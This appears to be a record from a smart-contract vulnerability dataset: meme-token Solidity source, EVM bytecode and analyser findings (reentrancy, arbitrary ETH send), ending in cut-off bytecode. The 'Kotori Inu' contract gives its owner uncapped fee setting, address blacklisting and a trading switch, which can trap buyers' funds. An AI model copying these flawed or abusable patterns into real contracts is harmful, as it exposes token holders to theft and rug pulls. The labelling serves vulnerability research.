_reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102a0578063a9059cbb146102c0578063dd62ed3e146102e0578063f42938901461032657600080fd5b806370a0823114610216578063715018a6146102365780638da5cb5b1461024b57806395d89b411461027357600080fd5b8063293230b8116100c6578063293230b8146101b9578063313ce567146101d05780633e07ce5b146101ec57806351bc3c851461020157600080fd5b806306fdde0314610103578063095ea7b31461014657806318160ddd1461017657806323b872dd1461019957600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b506040805180820190915260088152674772656e696e6a6160c01b60208201525b60405161013d919061139a565b60405180910390f35b34801561015257600080fd5b50610166610161366004611404565b61033b565b604051901515815260200161013d565b34801561018257600080fd5b5061018b610352565b60405190815260200161013d565b3480156101a557600080fd5b506101666101b4366004611430565b610373565b3480156101c557600080fd5b506101ce6103dc565b005b3480156101dc57600080fd5b506040516006815260200161013d565b3480156101f857600080fd5b506101ce610754565b34801561020d57600080fd5b506101ce61078a565b34801561022257600080fd5b5061018b610231366004611471565b6107b7565b34801561024257600080fd5b506101ce6107d9565b34801561025757600080fd5b506000546040516001600160a01b03909116815260200161013d565b34801561027f57600080fd5b5060408051808201909152600481526323a922a760e11b6020820152610130565b3480156102ac57600080fd5b506101ce6102bb36600461148e565b61087d565b3480156102cc57600080fd5b506101666102db366004611404565b6108a6565b3480156102ec57600080fd5b5061018b6102fb3660046114a7565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561033257600080fd5b506101ce6108b3565b600061034833848461091d565b5060015b92915050565b60006103606006600a6115da565b61036e906305f5e1006115e9565b905090565b6000610380848484610a41565b6103d284336103cd8560405180606001604052806028815260200161174e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610cc6565b61091d565b5060019392505050565b6009546001600160a01b031633146103f357600080fd5b600c54600160a01b900460ff16156104525760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461047e9030906001600160a01b03166104706006600a6115da565b6103cd906305f5e1006115e9565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f59190611608565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057b9190611608565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ec9190611608565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061061c816107b7565b6000806106316000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610699573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106be9190611625565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561072d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107519190611653565b50565b6009546001600160a01b0316331461076b57600080fd5b6107776006600a6115da565b610785906305f5e1006115e9565b600a55565b6009546001600160a01b031633146107a157600080fd5b60006107ac306107b7565b905061075181610d00565b6001600160a01b03811660009081526002602052604081205461034c90610e7a565b6000546001600160a01b031633146108335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610449565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461089457600080fd5b600981106108a157600080fd5b600855565b6000610348338484610a41565b6009546001600160a01b031633146108ca57600080fd5b4761075181610ef7565b600061091683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f35565b9392505050565b6001600160a01b03831661097f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610449565b6001600160a01b0382166109e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610449565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610449565b6001600160a01b038216610b075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610449565b60008111610b695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610449565b6000546001600160a01b03848116911614801590610b9557506000546001600160a01b03838116911614155b15610cb657600c546001600160a01b038481169116148015610bc55750600b546001600160a01b03838116911614155b8015610bea57506001600160a01b03821660009081526004602052604090205460ff16155b15610c4057600a548110610c405760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610449565b6000610c4b306107b7565b600c54909150600160a81b900460ff16158015610c765750600c546001600160a01b03858116911614155b8015610c8b5750600c54600160b01b900460ff165b15610cb457610c9981610d00565b47670de0b6b3a76400008110610cb257610cb247610ef7565b505b505b610cc1838383610f63565b505050565b60008184841115610cea5760405162461bcd60e51b8152600401610449919061139a565b506000610cf78486611675565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d4857610d4861168c565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610da1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc59190611608565b81600181518110610dd857610dd861168c565b6001600160a01b039283166020918202929092010152600b54610dfe913091168461091d565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e379085906000908690309042906004016116a2565b600060405180830381600087803b158015610e5157600080fd5b505af1158015610e65573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b6000600554821115610ee15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610449565b6000610eeb610f6e565b905061091683826108d4565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f31573d6000803e3d6000fd5b5050565b60008183610f565760405162461bcd60e51b8152600401610449919061139a565b506000610cf78486611713565b610cc1838383610f91565b6000806000610f7b611088565b9092509050610f8a82826108d4565b9250505090565b600080600080600080610fa38761110a565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fd59087611167565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461100490866111a9565b6001600160a01b03891660009081526002602052604090205561102681611208565b6110308483611252565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161107591815260200190565b60405180910390a3505050505050505050565b60055460009081908161109d6006600a6115da565b6110ab906305f5e1006115e9565b90506110d36110bc6006600a6115da565b6110ca906305f5e1006115e9565b600554906108d4565b821015611101576005546110e96006600a6115da565b6110f7906305f5e1006115e9565b9350935050509091565b90939092509050565b60008060008060008060008060006111278a600754600854611276565b9250925092506000611137610f6e565b9050600080600061114a8e8787876112cb565b919e509c509a509598509396509194505050505091939550919395565b600061091683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cc6565b6000806111b68385611735565b9050838110156109165760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610449565b6000611212610f6e565b90506000611220838361131b565b3060009081526002602052604090205490915061123d90826111a9565b30600090815260026020526040902055505050565b60055461125f9083611167565b60055560065461126f90826111a9565b6006555050565b6000808080611290606461128a898961131b565b906108d4565b905060006112a3606461128a8a8961131b565b905060006112bb826112b58b86611167565b90611167565b9992985090965090945050505050565b60008080806112da888661131b565b905060006112e8888761131b565b905060006112f6888861131b565b90506000611308826112b58686611167565b939b939a50919850919650505050505050565b60008261132a5750600061034c565b600061133683856115e9565b9050826113438583611713565b146109165760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610449565b600060208083528351808285015260005b818110156113c7578581018301518582016040015282016113ab565b818111156113d9576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461075157600080fd5b6000806040838503121561141757600080fd5b8235611422816113ef565b946020939093013593505050565b60008060006060848603121561144557600080fd5b8335611450816113ef565b92506020840135611460816113ef565b929592945050506040919091013590565b60006020828403121561148357600080fd5b8135610916816113ef565b6000602082840312156114a057600080fd5b5035919050565b600080604083850312156114ba57600080fd5b82356114c5816113ef565b915060208301356114d5816113ef565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611531578160001904821115611517576115176114e0565b8085161561152457918102915b93841c93908002906114fb565b509250929050565b6000826115485750600161034c565b816115555750600061034c565b816001811461156b576002811461157557611591565b600191505061034c565b60ff841115611586576115866114e0565b50506001821b61034c565b5060208310610133831016604e8410600b84101617156115b4575081810a61034c565b6115be83836114f6565b80600019048211156115d2576115d26114e0565b029392505050565b600061091660ff841683611539565b6000816000190483118215151615611603576116036114e0565b500290565b60006020828403121561161a57600080fd5b8151610916816113ef565b60008060006060848603121561163a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561166557600080fd5b8151801515811461091657600080fd5b600082821015611687576116876114e0565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116f25784516001600160a01b0316835293830193918301916001016116cd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261173057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611748576117486114e0565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ee6a2ed5d67371d90d3d6048c95edaf3f38251400a20b5bb64a98aec63c3a20864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,125
0x99bfeeba302b9b0ab46a4fd70a7565b5cb559660
/** Telegram community - www.t.me/KotoriInu Website - www.KotoriInu.com **/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KotoriInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kotori Inu"; string private constant _symbol = "KOTORI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x2588C9077be7b1aabB1AF335346A94BCBE2CD6a7); address payable private _marketingAddress = payable(0x2588C9077be7b1aabB1AF335346A94BCBE2CD6a7); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000 * 10**9; uint256 public _maxWalletSize = 2000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBot(address isbot) public onlyOwner { bots[isbot] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d15760003560e01c80637f2feddc116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610558578063e70ef8a41461059e578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a9059cbb146104d3578063bfd79284146104f3578063c3c8cd8014610523578063c492f0461461053857600080fd5b80638f9a55c0116100d15780638f9a55c01461044e57806395d89b411461046457806398a5c31514610493578063a2a957bb146104b357600080fd5b80637f2feddc146103e35780638da5cb5b146104105780638f70ccf71461042e57600080fd5b806349bd5a5e1161016f57806370a082311161013e57806370a0823114610378578063715018a61461039857806374010ece146103ad5780637d1db4a5146103cd57600080fd5b806349bd5a5e146103015780636b999053146103215780636d8aa8f8146103435780636fc3eaec1461036357600080fd5b806318160ddd116101ab57806318160ddd1461028a57806323b872dd146102af5780632fd689e3146102cf578063313ce567146102e557600080fd5b806306fdde03146101dd578063095ea7b3146102225780631694505e1461025257600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201909152600a8152694b6f746f726920496e7560b01b60208201525b60405161021991906118e3565b60405180910390f35b34801561022e57600080fd5b5061024261023d36600461194d565b6105fe565b6040519015158152602001610219565b34801561025e57600080fd5b50601454610272906001600160a01b031681565b6040516001600160a01b039091168152602001610219565b34801561029657600080fd5b5067016345785d8a00005b604051908152602001610219565b3480156102bb57600080fd5b506102426102ca366004611979565b610615565b3480156102db57600080fd5b506102a160185481565b3480156102f157600080fd5b5060405160098152602001610219565b34801561030d57600080fd5b50601554610272906001600160a01b031681565b34801561032d57600080fd5b5061034161033c3660046119ba565b61067e565b005b34801561034f57600080fd5b5061034161035e3660046119ec565b6106d2565b34801561036f57600080fd5b5061034161071a565b34801561038457600080fd5b506102a16103933660046119ba565b610765565b3480156103a457600080fd5b50610341610787565b3480156103b957600080fd5b506103416103c8366004611a07565b6107fb565b3480156103d957600080fd5b506102a160165481565b3480156103ef57600080fd5b506102a16103fe3660046119ba565b60116020526000908152604090205481565b34801561041c57600080fd5b506000546001600160a01b0316610272565b34801561043a57600080fd5b506103416104493660046119ec565b61082a565b34801561045a57600080fd5b506102a160175481565b34801561047057600080fd5b506040805180820190915260068152654b4f544f524960d01b602082015261020c565b34801561049f57600080fd5b506103416104ae366004611a07565b610872565b3480156104bf57600080fd5b506103416104ce366004611a20565b6108a1565b3480156104df57600080fd5b506102426104ee36600461194d565b6108df565b3480156104ff57600080fd5b5061024261050e3660046119ba565b60106020526000908152604090205460ff1681565b34801561052f57600080fd5b506103416108ec565b34801561054457600080fd5b50610341610553366004611a52565b610940565b34801561056457600080fd5b506102a1610573366004611ad6565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105aa57600080fd5b506103416105b93660046119ba565b6109e1565b3480156105ca57600080fd5b506103416105d9366004611a07565b610a2f565b3480156105ea57600080fd5b506103416105f93660046119ba565b610a5e565b600061060b338484610b48565b5060015b92915050565b6000610622848484610c6c565b610674843361066f85604051806060016040528060288152602001611c8a602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111a8565b610b48565b5060019392505050565b6000546001600160a01b031633146106b15760405162461bcd60e51b81526004016106a890611b0f565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146106fc5760405162461bcd60e51b81526004016106a890611b0f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061074f57506013546001600160a01b0316336001600160a01b0316145b61075857600080fd5b47610762816111e2565b50565b6001600160a01b03811660009081526002602052604081205461060f90611220565b6000546001600160a01b031633146107b15760405162461bcd60e51b81526004016106a890611b0f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108255760405162461bcd60e51b81526004016106a890611b0f565b601655565b6000546001600160a01b031633146108545760405162461bcd60e51b81526004016106a890611b0f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b81526004016106a890611b0f565b601855565b6000546001600160a01b031633146108cb5760405162461bcd60e51b81526004016106a890611b0f565b600893909355600a91909155600955600b55565b600061060b338484610c6c565b6012546001600160a01b0316336001600160a01b0316148061092157506013546001600160a01b0316336001600160a01b0316145b61092a57600080fd5b600061093530610765565b9050610762816112a4565b6000546001600160a01b0316331461096a5760405162461bcd60e51b81526004016106a890611b0f565b60005b828110156109db57816005600086868581811061098c5761098c611b44565b90506020020160208101906109a191906119ba565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109d381611b70565b91505061096d565b50505050565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b81526004016106a890611b0f565b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b03163314610a595760405162461bcd60e51b81526004016106a890611b0f565b601755565b6000546001600160a01b03163314610a885760405162461bcd60e51b81526004016106a890611b0f565b6001600160a01b038116610aed5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106a8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610baa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106a8565b6001600160a01b038216610c0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106a8565b6001600160a01b038381166000818152600460209081526040808